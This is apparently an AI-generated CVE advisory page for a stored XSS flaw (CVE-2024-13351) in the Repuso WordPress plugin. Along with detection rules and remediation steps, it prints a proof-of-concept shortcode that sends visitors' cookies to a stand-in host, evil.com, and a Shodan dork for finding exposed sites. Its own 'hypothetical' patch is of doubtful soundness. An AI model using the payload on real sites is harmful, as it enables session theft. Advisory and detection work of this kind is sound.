☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.2 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-13351

CVE-2024-13351 Cross-Site Scripting in Repuso
📅 PUBLISHED: 2025-01-15 09:25 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.54%
👁️
0.54% probability
13.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.2
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
7.2
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-13351 is a Stored Cross-Site Scripting (XSS) vulnerability in the Social proof testimonials and reviews by Repuso WordPress plugin, affecting all versions up to and including 5.20. The flaw resides in the rw_image_badge1 shortcode, where user-supplied attributes are insufficiently sanitized and escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts that execute when any user visits the compromised page. This can lead to session hijacking, defacement, or redirection to malicious sites. The vulnerability is in the WordPress ecosystem and is not related to Apache or Nginx.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify plugin integrity by checking checksums and monitoring for unauthorized updates. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.2 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (contributor-level)
  • User Interaction: Required (victim must visit page)
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Deep Dive & Mechanics

The vulnerability exists in the rw_image_badge1 shortcode handler. The plugin fails to properly sanitize and escape user-supplied attributes before rendering them in the HTML output. An attacker with contributor-level access can craft a shortcode like:

[rw_image_badge1 badge_url="http://evil.com/xss.js" onclick="alert('XSS')"]

When the shortcode is processed, the badge_url and onclick attributes are injected directly into the page without escaping, allowing arbitrary JavaScript execution. The stored XSS persists in the database and executes for every visitor.

Vulnerable vs. Patched Code

Vulnerable Code (<=5.20):

function rw_image_badge1_shortcode($atts) {
    $atts = shortcode_atts(array(
        'badge_url' => '',
        'onclick' => ''
    ), $atts);
    $output = '<img src="' . $atts['badge_url'] . '" onclick="' . $atts['onclick'] . '" />';
    return $output;
}

Patched Code (hypothetical):

function rw_image_badge1_shortcode($atts) {
    $atts = shortcode_atts(array(
        'badge_url' => '',
        'onclick' => ''
    ), $atts);
    $badge_url = esc_url($atts['badge_url']);
    $onclick = esc_js($atts['onclick']);
    $output = '<img src="' . $badge_url . '" onclick="' . $onclick . '" />';
    return $output;
}

Exploitation & Lab Setup

Red Team

  1. Prerequisites: WordPress site with Repuso plugin <=5.20, contributor-level account.
  2. Steps:
    • Log in as contributor.
    • Create a new post or page.
    • Insert shortcode: [rw_image_badge1 badge_url="x" onclick="alert(document.cookie)"]
    • Publish the post.
    • When any user visits the post, the XSS triggers.

Proof of Concept (PoC):

[rw_image_badge1 badge_url="http://evil.com/tracker.png" onclick="fetch('http://evil.com/steal?cookie='+document.cookie)"]

Blue Team

  1. Detection: Monitor for shortcode usage with suspicious attributes in post content.
  2. Mitigation: Disable the shortcode via WordPress filters or apply a Web Application Firewall (WAF) rule to block XSS patterns.
  3. Forensics: Check database for posts containing rw_image_badge1 with non-standard attributes.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/repuso-social-proof/ (check for modified files)
  • Database: Posts/pages containing [rw_image_badge1 with suspicious attributes
  • Network: Outbound connections to domains in badge_url or onclick handlers
  • Logs: WordPress debug logs showing shortcode parsing errors

Detection Engineering

YARA Rule

rule CVE_2024_13351_Repuso_XSS {
    meta:
        description = "Detects malicious shortcode usage in Repuso plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13351"
    strings:
        $shortcode = /\[rw_image_badge1[^\]]*\]/ nocase
        $xss_payload = /onclick\s*=\s*["'][^"']*["']/ nocase
    condition:
        $shortcode and $xss_payload
}

Sigma Rule

title: CVE-2024-13351 Repuso Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS via Repuso shortcode
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "rw_image_badge1"
        http.url|contains: "onclick"
    condition: selection
falsepositives:
    - Legitimate use of onclick attribute (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-13351 Repuso Stored XSS"; flow:to_server,established; content:"rw_image_badge1"; http_uri; content:"onclick"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Disable the rw_image_badge1 shortcode by adding to functions.php:
    remove_shortcode('rw_image_badge1');
    
  2. Update: Apply vendor patch when available (currently UNKNOWN).
  3. WAF: Block requests containing rw_image_badge1 with onclick attribute.
  4. User Training: Restrict contributor-level access to trusted users only.
  5. Monitoring: Enable WordPress audit logging to track shortcode usage.

Report generated by Valters IT DevSecOps AI

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/repuso-social-proof"
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-13351/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.